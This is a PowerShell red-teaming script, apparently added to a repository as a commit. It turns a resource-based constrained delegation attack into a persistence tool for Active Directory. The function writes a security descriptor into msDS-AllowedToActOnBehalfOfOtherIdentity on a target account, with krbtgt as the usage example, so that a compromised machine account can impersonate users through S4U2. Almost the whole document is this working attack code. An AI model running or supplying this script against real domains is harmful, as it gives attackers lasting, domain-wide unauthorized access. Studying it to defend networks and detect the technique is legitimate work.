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added red-teaming/Set-PrincipalAllowedToDelegateToAccount.ps1
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red-teaming/Set-PrincipalAllowedToDelegateToAccount.ps1
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red-teaming/Set-PrincipalAllowedToDelegateToAccount.ps1
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#
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# Unconstrained Domain Persistence helper
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#
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# Usage:
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# PS> . .\Set-PrincipalAllowedToDelegateToAccount.ps1
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# PS> Set-PrincipalAllowedToDelegateToAccount -TargetUser krbtgt -TargetComputer COMPROMISED$
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#
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# Will allow for COMPROMISED$ machine account to perform S4U2 constrained delegation by the use
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# of Resource-Based Constrained Delegation flavour attack.
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#
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# Script for setting "msDS-AllowedToActOnBehalfOfOtherIdentity" property on the user's object,
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# allowing incoming trust to the previously compromised Machine object, as described
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# by Elad Shamir in his: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#unconstrained-domain-persistence
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#
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# This script requires PowerView to be loaded first.
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#
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# This is basically rewritten script from Harmj0y's blog post here:
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# https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/
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# all credits goes to magnificent Harmj0y!
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#
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function Set-PrincipalAllowedToDelegateToAccount
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{
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Param
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(
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[Parameter(Position = 0)]
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[ValidateNotNullOrEmpty()]
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[String]
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$TargetUser,
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[Parameter(Position = 1)]
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[ValidateNotNullOrEmpty()]
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[String]
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$TargetComputer
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)
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# translate the identity to a security identifier
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$IdentitySID = ((New-Object -TypeName System.Security.Principal.NTAccount -ArgumentList $TargetComputer).Translate([System.Security.Principal.SecurityIdentifier])).Value
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# Substitute the security identifier into the raw SDDL
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$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($IdentitySID))"
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# get the binary bytes for the SDDL
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$SDBytes = New-Object byte[] ($SD.BinaryLength)
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$SD.GetBinaryForm($SDBytes, 0)
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# set new security descriptor for 'msds-allowedtoactonbehalfofotheridentity'
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Get-DomainUser $TargetUser | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
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}
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